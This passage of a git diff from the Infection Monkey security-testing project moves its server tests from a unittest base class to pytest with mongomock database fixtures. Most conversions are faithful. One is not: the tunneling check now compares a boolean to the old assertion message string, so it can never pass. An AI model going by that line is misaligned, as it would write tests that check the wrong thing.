+5,7 @@ from typing import Dict from unittest import TestCase from unittest.mock import MagicMock, patch -import monkey_island.cc.testing.environment.server_config_mocks as config_mocks +import monkey_island.cc.test_common.environment.server_config_mocks as config_mocks from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH from monkey_island.cc.environment.environment_config import EnvironmentConfig from monkey_island.cc.environment.user_creds import UserCreds diff --git a/monkey/monkey_island/cc/models/test_monkey.py b/monkey/monkey_island/cc/models/test_monkey.py index 5acf8220f..fad2ea94e 100644 --- a/monkey/monkey_island/cc/models/test_monkey.py +++ b/monkey/monkey_island/cc/models/test_monkey.py @@ -5,22 +5,15 @@ from time import sleep import pytest from monkey_island.cc.models.monkey import Monkey, MonkeyNotFoundError -from monkey_island.cc.testing.IslandTestCase import IslandTestCase from .monkey_ttl import MonkeyTtl logger = logging.getLogger(__name__) -class TestMonkey(IslandTestCase): - """ - Make sure to set server environment to `testing` in server_config.json! - Otherwise this will mess up your mongo instance and won't work. - - Also, the working directory needs to be the working directory from which you usually run the island so the - server_config.json file is found and loaded. - """ +class TestMonkey: + @pytest.mark.usefixtures('uses_database') def test_is_dead(self): # Arrange alive_monkey_ttl = MonkeyTtl.create_ttl_expire_in(30) @@ -44,20 +37,22 @@ class TestMonkey(IslandTestCase): dead_monkey.save() # act + assert - self.assertTrue(dead_monkey.is_dead()) - self.assertTrue(mia_monkey.is_dead()) - self.assertFalse(alive_monkey.is_dead()) + assert dead_monkey.is_dead() + assert mia_monkey.is_dead() + assert not alive_monkey.is_dead() + @pytest.mark.usefixtures('uses_database') def test_ttl_renewal(self): # Arrange monkey = Monkey(guid=str(uuid.uuid4())) monkey.save() - self.assertIsNone(monkey.ttl_ref) + assert monkey.ttl_ref is None # act + assert monkey.renew_ttl() - self.assertIsNotNone(monkey.ttl_ref) + assert monkey.ttl_ref + @pytest.mark.usefixtures('uses_database') def test_get_single_monkey_by_id(self): # Arrange a_monkey = Monkey(guid=str(uuid.uuid4())) @@ -65,12 +60,13 @@ class TestMonkey(IslandTestCase): # Act + assert # Find the existing one - self.assertIsNotNone(Monkey.get_single_monkey_by_id(a_monkey.id)) + assert Monkey.get_single_monkey_by_id(a_monkey.id) is not None # Raise on non-existent monkey with pytest.raises(MonkeyNotFoundError) as _: _ = Monkey.get_single_monkey_by_id("abcdefabcdefabcdefabcdef") + @pytest.mark.usefixtures('uses_database') def test_get_os(self): linux_monkey = Monkey(guid=str(uuid.uuid4()), description="Linux shay-Virtual-Machine 4.15.0-50-generic #54-Ubuntu") @@ -82,10 +78,11 @@ class TestMonkey(IslandTestCase): windows_monkey.save() unknown_monkey.save() - self.assertEqual(1, len([m for m in Monkey.objects() if m.get_os() == "windows"])) - self.assertEqual(1, len([m for m in Monkey.objects() if m.get_os() == "linux"])) - self.assertEqual(1, len([m for m in Monkey.objects() if m.get_os() == "unknown"])) + assert 1 == len([m for m in Monkey.objects() if m.get_os() == "windows"]) + assert 1 == len([m for m in Monkey.objects() if m.get_os() == "linux"]) + assert 1 == len([m for m in Monkey.objects() if m.get_os() == "unknown"]) + @pytest.mark.usefixtures('uses_database') def test_get_tunneled_monkeys(self): linux_monkey = Monkey(guid=str(uuid.uuid4()), description="Linux shay-Virtual-Machine") @@ -103,8 +100,9 @@ class TestMonkey(IslandTestCase): and unknown_monkey in tunneled_monkeys and linux_monkey not in tunneled_monkeys and len(tunneled_monkeys) == 2) - self.assertTrue(test, "Tunneling test") + assert test == "Tunneling test" + @pytest.mark.usefixtures('uses_database') def test_get_label_by_id(self): hostname_example = "a_hostname" ip_example = "1.1.1.1" @@ -117,26 +115,26 @@ class TestMonkey(IslandTestCase): logger.debug(id(Monkey.get_label_by_id)) cache_info_before_query = Monkey.get_label_by_id.storage.backend.cache_info() - self.assertEqual(cache_info_before_query.hits, 0) - self.assertEqual(cache_info_before_query.misses, 0) + assert cache_info_before_query.hits == 0 + assert cache_info_before_query.misses == 0 # not cached label = Monkey.get_label_by_id(linux_monkey.id) cache_info_after_query_1 = Monkey.get_label_by_id.storage.backend.cache_info() - self.assertEqual(cache_info_after_query_1.hits, 0) - self.assertEqual(cache_info_after_query_1.misses, 1) + assert cache_info_after_query_1.hits == 0 + assert cache_info_after_query_1.misses == 1 logger.debug("1) ID: {} label: {}".format(linux_monkey.id, label)) - self.assertIsNotNone(label) - self.assertIn(hostname_example, label) - self.assertIn(ip_example, label) + assert label is not None + assert hostname_example in label + assert ip_example in label # should be cached label = Monkey.get_label_by_id(linux_monkey.id) logger.debug("2) ID: {} label: {}".format(linux_monkey.id, label)) cache_info_after_query_2 = Monkey.get_label_by_id.storage.backend.cache_info() - self.assertEqual(cache_info_after_query_2.hits, 1) - self.assertEqual(cache_info_after_query_2.misses, 1) + assert cache_info_after_query_2.hits == 1 + assert cache_info_after_query_2.misses == 1 # set hostname deletes the id from the cache. linux_monkey.set_hostname("Another hostname") @@ -147,24 +145,25 @@ class TestMonkey(IslandTestCase): cache_info_after_query_3 = Monkey.get_label_by_id.storage.backend.cache_info() logger.debug("Cache info: {}".format(str(cache_info_after_query_3))) # still 1 hit only - self.assertEqual(cache_info_after_query_3.hits, 1) - self.assertEqual(cache_info_after_query_3.misses, 2) + assert cache_info_after_query_3.hits == 1 + assert cache_info_after_query_3.misses == 2 + @pytest.mark.usefixtures('uses_database') def test_is_monkey(self): a_monkey = Monkey(guid=str(uuid.uuid4())) a_monkey.save() cache_info_before_query = Monkey.is_monkey.storage.backend.cache_info() - self.assertEqual(cache_info_before_query.hits, 0) + assert cache_info_before_query.hits == 0 # not cached - self.assertTrue(Monkey.is_monkey(a_monkey.id)) + assert Monkey.is_monkey(a_monkey.id) fake_id = "123456789012" - self.assertFalse(Monkey.is_monkey(fake_id)) + assert not Monkey.is_monkey(fake_id) # should be cached - self.assertTrue(Monkey.is_monkey(a_monkey.id)) - self.assertFalse(Monkey.is_monkey(fake_id)) + assert Monkey.is_monkey(a_monkey.id) + assert not Monkey.is_monkey(fake_id) cache_info_after_query = Monkey.is_monkey.storage.backend.cache_info() - self.assertEqual(cache_info_after_query.hits, 2) + assert cache_info_after_query.hits == 2 diff --git a/monkey/monkey_island/cc/models/zero_trust/test_event.py b/monkey/monkey_island/cc/models/zero_trust/test_event.py index a84268e40..f4044c037 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_event.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_event.py @@ -1,20 +1,20 @@ +import pytest from mongoengine import ValidationError import common.common_consts.zero_trust_consts as zero_trust_consts from monkey_island.cc.models.zero_trust.event import Event -from monkey_island.cc.testing.IslandTestCase import IslandTestCase -class TestEvent(IslandTestCase): +class TestEvent: def test_create_event(self): - with self.assertRaises(ValidationError): + with pytest.raises(ValidationError): _ = Event.create_event( title=None, # title required message="bla bla", event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK ) - with self.assertRaises(ValidationError): + with pytest.raises(ValidationError): _ = Event.create_event( title="skjs", message="bla bla", diff --git a/monkey/monkey_island/cc/models/zero_trust/test_finding.py b/monkey/monkey_island/cc/models/zero_trust/test_finding.py index a2a6be6ea..fd78e2671 100644 --- a/monkey/monkey_island/cc/models/zero_trust/test_finding.py +++ b/monkey/monkey_island/cc/models/zero_trust/test_finding.py @@ -6,7 +6,6 @@ from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails from monkey_island.cc.models.zero_trust.scoutsuite_finding_details import ScoutSuiteFindingDetails -from monkey_island.cc.testing.IslandTestCase import IslandTestCase MONKEY_FINDING_DETAIL_MOCK = MonkeyFindingDetails() @@ -15,21 +14,21 @@ SCOUTSUITE_FINDING_DETAIL_MOCK = ScoutSuiteFindingDetails() SCOUTSUITE_FINDING_DETAIL_MOCK.scoutsuite_rules = [] -class TestFinding(IslandTestCase): +class TestFinding: def test_save_finding_validation(self): - with self.assertRaises(ValidationError): + with pytest.raises(ValidationError): _ = Finding.save_finding(test="bla bla", status=zero_trust_consts.STATUS_FAILED, detail_ref=MONKEY_FINDING_DETAIL_MOCK) - with self.assertRaises(ValidationError): + with pytest.raises(ValidationError): _ = Finding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, status="bla bla", detail_ref=SCOUTSUITE_FINDING_DETAIL_MOCK) def test_save_finding_sanity(self): - self.assertEqual(len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)), 0) + assert len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 0 event_example = Event.create_event( title="Event Title", message="event message", event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK) @@ -38,5 +37,5 @@ class TestFinding(IslandTestCase): Finding.save_finding(test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_FAILED, detail_ref=monkey_details_example) - self.assertEqual(len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)), 1) - self.assertEqual(len(Finding.objects(status=zero_trust_consts.STATUS_FAILED)), 1) + assert len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 1 + assert len(Finding.objects(status=zero_trust_consts.STATUS_FAILED)) == 1 diff --git a/monkey/monkey_island/cc/services/edge/test_displayed_edge.py b/monkey/monkey_island/cc/services/edge/test_displayed_edge.py index cd8519327..5aa97d923 100644 --- a/monkey/monkey_island/cc/services/edge/test_displayed_edge.py +++ b/monkey/monkey_island/cc/services/edge/test_displayed_edge.py @@ -2,7 +2,6 @@ from bson import ObjectId from monkey_island.cc.services.edge.displayed_edge import DisplayedEdgeService from monkey_island.cc.services.edge.edge import RIGHT_ARROW, EdgeService -from monkey_island.cc.testing.IslandTestCase import IslandTestCase SCAN_DATA_MOCK = [{ "timestamp": "2020-05-27T14:59:28.944Z", @@ -45,7 +44,7 @@ EXPLOIT_DATA_MOCK = [{ }] -class TestDisplayedEdgeService(IslandTestCase): +class TestDisplayedEdgeService: def test_get_displayed_edges_by_to(self): dst_id = ObjectId() @@ -57,7 +56,7 @@ class TestDisplayedEdgeService(IslandTestCase): EdgeService.get_or_create_edge(src_id2, dst_id, "Ubuntu-4ubuntu3.2", "Ubuntu-4ubuntu2.8") displayed_edges = DisplayedEdgeService.get_displayed_edges_by_dst(str(dst_id)) - self.assertEqual(len(displayed_edges), 2) + assert len(displayed_edges) == 2 def test_edge_to_displayed_edge(self): src_node_id = ObjectId() @@ -74,22 +73,21 @@ class TestDisplayedEdgeService(IslandTestCase): displayed_edge = DisplayedEdgeService.edge_to_displayed_edge(edge) - self.assertEqual(displayed_edge['to'], dst_node_id) - self.assertEqual(displayed_edge['from'], src_node_id) - self.assertEqual(displayed_edge['ip_address'], "10.2.2.2") - self.assertListEqual(displayed_edge['services'], ["tcp-8088: unknown", "tcp-22: ssh"]) - self.assertEqual(displayed_edge['os'], {"type": "linux", - "version": "Ubuntu-4ubuntu2.8"}) - self.assertEqual(displayed_edge['exploits'], EXPLOIT_DATA_MOCK) - self.assertEqual(displayed_edge['_label'], "Ubuntu-4ubuntu3.2 " + RIGHT_ARROW + " Ubuntu-4ubuntu2.8") - self.assertEqual(displayed_edge['group'], "exploited") + assert displayed_edge['to'] == dst_node_id + assert displayed_edge['from'] == src_node_id + assert displayed_edge['ip_address'] == "10.2.2.2" + assert displayed_edge['services'] == ["tcp-8088: unknown", "tcp-22: ssh"] + assert displayed_edge['os'] == {"type": "linux", "version": "Ubuntu-4ubuntu2.8"} + assert displayed_edge['exploits'] == EXPLOIT_DATA_MOCK + assert displayed_edge['_label'] == "Ubuntu-4ubuntu3.2 " + RIGHT_ARROW + " Ubuntu-4ubuntu2.8" + assert displayed_edge['group'] == "exploited" return displayed_edge def test_services_to_displayed_services(self): services1 = DisplayedEdgeService.services_to_displayed_services(SCAN_DATA_MOCK[-1]["data"]["services"], True) - self.assertEqual(services1, ["tcp-8088", "tcp-22"]) + assert services1 == ["tcp-8088", "tcp-22"] services2 = DisplayedEdgeService.services_to_displayed_services(SCAN_DATA_MOCK[-1]["data"]["services"], False) - self.assertEqual(services2, ["tcp-8088: unknown", "tcp-22: ssh"]) + assert services2 == ["tcp-8088: unknown", "tcp-22: ssh"] diff --git a/monkey/monkey_island/cc/services/edge/test_edge.py b/monkey/monkey_island/cc/services/edge/test_edge.py index bc2c40e80..26ab82311 100644 --- a/monkey/monkey_island/cc/services/edge/test_edge.py +++ b/monkey/monkey_island/cc/services/edge/test_edge.py @@ -1,57 +1,51 @@ import logging +import pytest from mongomock import ObjectId from monkey_island.cc.models.edge import Edge from monkey_island.cc.services.edge.edge import EdgeService -from monkey_island.cc.testing.IslandTestCase import IslandTestCase logger = logging.getLogger(__name__) -class TestEdgeService(IslandTestCase): - """ - Make sure to set server environment to `testing` in server_config.json! - Otherwise this will mess up your mongo instance and won't work. - - Also, the working directory needs to be the working directory from which you usually run the island so the - server_config.json file is found and loaded. - """ +class TestEdgeService: + @pytest.mark.usefixtures('uses_database') def test_get_or_create_edge(self): src_id = ObjectId() dst_id = ObjectId() test_edge1 = EdgeService.get_or_create_edge(src_id, dst_id, "Mock label 1", "Mock label 2") - self.assertEqual(test_edge1.src_node_id, src_id) - self.assertEqual(test_edge1.dst_node_id, dst_id) - self.assertFalse(test_edge1.exploited) - self.assertFalse(test_edge1.tunnel) - self.assertListEqual(test_edge1.scans, []) - self.assertListEqual(test_edge1.exploits, []) - self.assertEqual(test_edge1.src_label, "Mock label 1") - self.assertEqual(test_edge1.dst_label, "Mock label 2") - self.assertIsNone(test_edge1.group) - self.assertIsNone(test_edge1.domain_name) - self.assertIsNone(test_edge1.ip_address) + assert test_edge1.src_node_id == src_id + assert test_edge1.dst_node_id == dst_id + assert not test_edge1.exploited + assert not test_edge1.tunnel + assert test_edge1.scans == [] + assert test_edge1.exploits == [] + assert test_edge1.src_label == "Mock label 1" + assert test_edge1.dst_label == "Mock label 2" + assert test_edge1.group is None + assert test_edge1.domain_name is None + assert test_edge1.ip_address is None EdgeService.get_or_create_edge(src_id, dst_id, "Mock label 1", "Mock label 2") - self.assertEqual(len(Edge.objects()), 1) + assert len(Edge.objects()) == 1 def test_get_edge_group(self): edge = Edge(src_node_id=ObjectId(), dst_node_id=ObjectId(), exploited=True) - self.assertEqual("exploited", EdgeService.get_group(edge)) + assert "exploited" == EdgeService.get_group(edge) edge.exploited = False edge.tunnel = True - self.assertEqual("tunnel", EdgeService.get_group(edge)) + assert "tunnel" == EdgeService.get_group(edge) edge.tunnel = False edge.exploits.append(["mock_exploit_data"]) - self.assertEqual("scan", EdgeService.get_group(edge)) + assert "scan" == EdgeService.get_group(edge) edge.exploits = [] edge.scans = [] - self.assertEqual("empty", EdgeService.get_group(edge)) + assert "empty" == EdgeService.get_group(edge) diff --git a/monkey/monkey_island/cc/services/reporting/test_pth_report.py b/monkey/monkey_island/cc/services/reporting/test_pth_report.py index fc1e6dd27..e5fc9aa9a 100644 --- a/monkey/monkey_island/cc/services/reporting/test_pth_report.py +++ b/monkey/monkey_island/cc/services/reporting/test_pth_report.py @@ -2,12 +2,11 @@ import uuid from monkey_island.cc.models import Monkey from monkey_island.cc.services.reporting.pth_report import PTHReportService -from monkey_island.cc.testing.IslandTestCase import IslandTestCase -class TestPTHReportServiceGenerateMapNodes(IslandTestCase): +class TestPTHReportServiceGenerateMapNodes(): def test_generate_map_nodes(self): - self.assertEqual(PTHReportService.generate_map_nodes(), []) + assert PTHReportService.generate_map_nodes() == [] windows_monkey_with_services = Monkey( guid=str(uuid.uuid4()), @@ -37,7 +36,7 @@ class TestPTHReportServiceGenerateMapNodes(IslandTestCase): map_nodes = PTHReportService.generate_map_nodes() - self.assertEqual(2, len(map_nodes)) + assert 2 == len(map_nodes) def test_generate_map_nodes_parsing(self): monkey_id = str(uuid.uuid4()) @@ -53,8 +52,8 @@ class TestPTHReportServiceGenerateMapNodes(IslandTestCase): map_nodes = PTHReportService.generate_map_nodes() - self.assertEqual(map_nodes[0]["id"], monkey_id) - self.assertEqual(map_nodes[0]["label"], "A_Windows_PC_1 : 1.1.1.1") - self.assertEqual(map_nodes[0]["group"], "critical") - self.assertEqual(len(map_nodes[0]["services"]), 2) - self.assertEqual(map_nodes[0]["hostname"], hostname) + assert map_nodes[0]["id"] == monkey_id + assert map_nodes[0]["label"] == "A_Windows_PC_1 : 1.1.1.1" + assert map_nodes[0]["group"] == "critical" + assert len(map_nodes[0]["services"]) == 2 + assert map_nodes[0]["hostname"] == hostname diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py index 8752a9e9d..6369ea9e1 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_environment.py @@ -3,10 +3,9 @@ import uuid from monkey_island.cc.models import Monkey from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import \ SystemInfoTelemetryDispatcher -from monkey_island.cc.testing.IslandTestCase import IslandTestCase -class TestEnvironmentTelemetryProcessing(IslandTestCase): +class TestEnvironmentTelemetryProcessing: def test_process_environment_telemetry(self): # Arrange monkey_guid = str(uuid.uuid4()) @@ -25,4 +24,4 @@ class TestEnvironmentTelemetryProcessing(IslandTestCase): } dispatcher.dispatch_collector_results_to_relevant_processors(telem_json) - self.assertEqual(Monkey.get_single_monkey_by_guid(monkey_guid).environment, on_premise) + assert Monkey.get_single_monkey_by_guid(monkey_guid).environment == on_premise diff --git a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py index 4c31d466e..eed93058a 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/system_info_collectors/test_system_info_telemetry_dispatcher.py @@ -1,32 +1,33 @@ import uuid +import pytest + from monkey_island.cc.models import Monkey from monkey_island.cc.services.telemetry.processing.system_info_collectors.system_info_telemetry_dispatcher import ( SystemInfoTelemetryDispatcher, process_aws_telemetry) -from monkey_island.cc.testing.IslandTestCase import IslandTestCase TEST_SYS_INFO_TO_PROCESSING = { "AwsCollector": [process_aws_telemetry], } -class SystemInfoTelemetryDispatcherTest(IslandTestCase): +class TestSystemInfoTelemetryDispatcher: def test_dispatch_to_relevant_collector_bad_inputs(self): - self.fail_if_not_testing_env() dispatcher = SystemInfoTelemetryDispatcher(TEST_SYS_INFO_TO_PROCESSING) # Bad format telem JSONs - throws bad_empty_telem_json = {} - self.assertRaises(KeyError, dispatcher.dispatch_collector_results_to_relevant_processors, bad_empty_telem_json) + with pytest.raises(KeyError): + dispatcher.dispatch_collector_results_to_relevant_processors(bad_empty_telem_json) + bad_no_data_telem_json = {"monkey_guid": "bla"} - self.assertRaises(KeyError, - dispatcher.dispatch_collector_results_to_relevant_processors, - bad_no_data_telem_json) + with pytest.raises(KeyError): + dispatcher.dispatch_collector_results_to_relevant_processors(bad_no_data_telem_json) + bad_no_monkey_telem_json = {"data": {"collectors": {"AwsCollector": "Bla"}}} - self.assertRaises(KeyError, - dispatcher.dispatch_collector_results_to_relevant_processors, - bad_no_monkey_telem_json) + with pytest.raises(KeyError): + dispatcher.dispatch_collector_results_to_relevant_processors(bad_no_monkey_telem_json) # Telem JSON with no collectors - nothing gets dispatched good_telem_no_collectors = {"monkey_guid": "bla", "data": {"bla": "bla"}} @@ -53,4 +54,4 @@ class SystemInfoTelemetryDispatcherTest(IslandTestCase): } dispatcher.dispatch_collector_results_to_relevant_processors(telem_json) - self.assertEquals(Monkey.get_single_monkey_by_guid(a_monkey.guid).aws_instance_id, instance_id) + assert Monkey.get_single_monkey_by_guid(a_monkey.guid).aws_instance_id == instance_id diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation.py index 6db918b52..b29f9e3c6 100644 --- a/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation.py +++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_checks/test_segmentation.py @@ -6,14 +6,13 @@ from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.services.telemetry.zero_trust_checks.segmentation import create_or_add_findings_for_all_pairs from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService -from monkey_island.cc.testing.IslandTestCase import IslandTestCase FIRST_SUBNET = "1.1.1.1" SECOND_SUBNET = "2.2.2.0/24" THIRD_SUBNET = "3.3.3.3-3.3.3.200" -class TestSegmentationChecks(IslandTestCase): +class TestSegmentationChecks: def test_create_findings_for_all_done_pairs(self): all_subnets = [FIRST_SUBNET, SECOND_SUBNET, THIRD_SUBNET] @@ -23,15 +22,15 @@ class TestSegmentationChecks(IslandTestCase): ip_addresses=[FIRST_SUBNET]) # no findings - self.assertEqual(len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)), 0) + assert len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)) == 0 # This is like the monkey is done and sent done telem create_or_add_findings_for_all_pairs(all_subnets, monkey) # There are 2 subnets in which the monkey is NOT - self.assertEqual( - len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_PASSED)), - 2) + zt_seg_findings = Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION, + status=zero_trust_consts.STATUS_PASSED) + assert len(zt_seg_findings) == 2 # This is a monkey from 2nd subnet communicated with 1st subnet. MonkeyZTFindingService.create_or_add_to_existing( @@ -43,12 +42,13 @@ class TestSegmentationChecks(IslandTestCase): ) - self.assertEqual( - len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_PASSED)), - 1) - self.assertEqual( - len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION, status=zero_trust_consts.STATUS_FAILED)), - 1) - self.assertEqual( - len(Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION)), - 2) + zt_seg_findings = Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION, + status=zero_trust_consts.STATUS_PASSED) + assert len(zt_seg_findings) == 1 + + zt_seg_findings = Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION, + status=zero_trust_consts.STATUS_FAILED) + assert len(zt_seg_findings) == 1 + + zt_seg_findings = Finding.objects(test=zero_trust_consts.TEST_SEGMENTATION) + assert len(zt_seg_findings) == 2 diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py index bcf600854..cadb88aed 100644 --- a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py @@ -1,14 +1,8 @@ from datetime import datetime -from typing import List - -from bson import ObjectId from common.common_consts import zero_trust_consts from monkey_island.cc.models.zero_trust.event import Event -from monkey_island.cc.models.zero_trust.finding import Finding -from monkey_island.cc.models.zero_trust.monkey_finding_details import MonkeyFindingDetails from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService -from monkey_island.cc.testing.IslandTestCase import IslandTestCase EVENTS = [ Event.create_event( @@ -38,7 +32,7 @@ STATUS = [ ] -class TestMonkeyZTFindingService(IslandTestCase): +class TestMonkeyZTFindingService: def test_create_or_add_to_existing(self): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py index a6082bd05..e3a8de1bc 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/test_scoutsuite_zt_finding_service.py @@ -1,10 +1,11 @@ +import pytest + from common.common_consts import zero_trust_consts from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.scoutsuite_rule import ScoutSuiteRule from monkey_island.cc.services.zero_trust.scoutsuite.consts.findings import PermissiveFirewallRules, \ UnencryptedData from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_zt_finding_service import ScoutSuiteZTFindingService -from monkey_island.cc.testing.IslandTestCase import IslandTestCase RULES = [ ScoutSuiteRule( @@ -71,35 +72,36 @@ FINDINGS = [ ] -class TestScoutSuiteZTFindingService(IslandTestCase): +class TestScoutSuiteZTFindingService: + @pytest.mark.usefixtures('uses_database') def test_process_rule(self): # Creates new PermissiveFirewallRules finding with a rule ScoutSuiteZTFindingService.process_rule(FINDINGS[0], RULES[0]) findings = list(Finding.objects()) - self.assertEqual(len(findings), 1) - self.assertEqual(findings[0].finding_type, zero_trust_consts.SCOUTSUITE_FINDING) + assert len(findings) == 1 + assert findings[0].finding_type == zero_trust_consts.SCOUTSUITE_FINDING # Assert that details were created properly details = findings[0].details.fetch() - self.assertEqual(len(details.scoutsuite_rules), 1) - self.assertEqual(details.scoutsuite_rules[0], RULES[0]) + assert len(details.scoutsuite_rules) == 1 + assert details.scoutsuite_rules[0] == RULES[0] # Rule processing should add rule to an already existing finding ScoutSuiteZTFindingService.process_rule(FINDINGS[0], RULES[1]) findings = list(Finding.objects()) - self.assertEqual(len(findings), 1) - self.assertEqual(findings[0].finding_type, zero_trust_consts.SCOUTSUITE_FINDING) + assert len(findings) == 1 + assert findings[0].finding_type == zero_trust_consts.SCOUTSUITE_FINDING # Assert that details were created properly details = findings[0].details.fetch() - self.assertEqual(len(details.scoutsuite_rules), 2) - self.assertEqual(details.scoutsuite_rules[1], RULES[1]) + assert len(details.scoutsuite_rules) == 2 + assert details.scoutsuite_rules[1] == RULES[1] # New finding created ScoutSuiteZTFindingService.process_rule(FINDINGS[1], RULES[1]) findings = list(Finding.objects()) - self.assertEqual(len(findings), 2) - self.assertEqual(findings[1].finding_type, zero_trust_consts.SCOUTSUITE_FINDING) + assert len(findings) == 2 + assert findings[1].finding_type == zero_trust_consts.SCOUTSUITE_FINDING # Assert that details were created properly details = findings[1].details.fetch() - self.assertEqual(len(details.scoutsuite_rules), 1) - self.assertEqual(details.scoutsuite_rules[0], RULES[1]) + assert len(details.scoutsuite_rules) == 1 + assert details.scoutsuite_rules[0] == RULES[1] diff --git a/monkey/monkey_island/cc/testing/__init__.py b/monkey/monkey_island/cc/test_common/__init__.py similarity index 100% rename from monkey/monkey_island/cc/testing/__init__.py rename to monkey/monkey_island/cc/test_common/__init__.py diff --git a/monkey/monkey_island/cc/testing/environment/server_config_mocks.py b/monkey/monkey_island/cc/test_common/environment/server_config_mocks.py similarity index 100% rename from monkey/monkey_island/cc/testing/environment/server_config_mocks.py rename to monkey/monkey_island/cc/test_common/environment/server_config_mocks.py diff --git a/monkey/monkey_island/cc/test_common/mongomock_fixtures.py b/monkey/monkey_island/cc/test_common/mongomock_fixtures.py new file mode 100644 index 000000000..8a49d0254 --- /dev/null +++ b/monkey/monkey_island/cc/test_common/mongomock_fixtures.py @@ -0,0 +1,32 @@ +import mongoengine +import pytest + +from monkey_island.cc.models import Monkey +from monkey_island.cc.models.edge import Edge +from monkey_island.cc.models.zero_trust.finding import Finding + + +@pytest.fixture(scope='session', autouse=True) +def change_to_mongo_mock(): + # Make sure tests are working with mongomock + mongoengine.disconnect() + mongoengine.connect('mongoenginetest', host='mongomock://localhost') + + +@pytest.fixture(scope='function') +def uses_database(): + _clean_edge_db() + _clean_monkey_db() + _clean_finding_db() + + +def _clean_monkey_db(): + Monkey.objects().delete() + + +def _clean_edge_db(): + Edge.objects().delete() + + +def _clean_finding_db(): + Finding.objects().delete() diff --git a/monkey/monkey_island/cc/testing/README.md b/monkey/monkey_island/cc/test_common/profiling/README.md similarity index 100% rename from monkey/monkey_island/cc/testing/README.md rename to monkey/monkey_island/cc/test_common/profiling/README.md diff --git a/monkey/monkey_island/cc/testing/profiler_decorator.py b/monkey/monkey_island/cc/test_common/profiling/profiler_decorator.py similarity index 100% rename from monkey/monkey_island/cc/testing/profiler_decorator.py rename to monkey/monkey_island/cc/test_common/profiling/profiler_decorator.py diff --git a/monkey/monkey_island/cc/testing/IslandTestCase.py b/monkey/monkey_island/cc/testing/IslandTestCase.py deleted file mode 100644 index d6231c01e..000000000 --- a/monkey/monkey_island/cc/testing/IslandTestCase.py +++ /dev/null @@ -1,41 +0,0 @@ -import unittest - -import mongoengine - -import monkey_island.cc.environment.environment_singleton as env_singleton -from monkey_island.cc.models import Monkey -from monkey_island.cc.models.edge import Edge -from monkey_island.cc.models.zero_trust.finding import Finding - - -class IslandTestCase(unittest.TestCase): - - def __init__(self, methodName): - # Make sure test is working with mongomock - if mongoengine.connection.get_connection().server_info()['sysInfo'] != 'Mock': - mongoengine.disconnect() - mongoengine.connect('mongoenginetest', host='mongomock://localhost') - else: - IslandTestCase.clean_db() - super().__init__(methodName) - - def fail_if_not_testing_env(self): - self.assertFalse(not env_singleton.env.testing, "Change server_config.json to testing environment.") - - @staticmethod - def clean_db(): - IslandTestCase._clean_edge_db() - IslandTestCase._clean_monkey_db() - IslandTestCase._clean_finding_db() - - @staticmethod - def _clean_monkey_db(): - Monkey.objects().delete() - - @staticmethod - def _clean_edge_db(): - Edge.objects().delete() - - @staticmethod - def _clean_finding_db(): - Finding.objects().delete() From 5d5091d914855e49cbabc9650954d41449727e5b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 20 Jan 2021 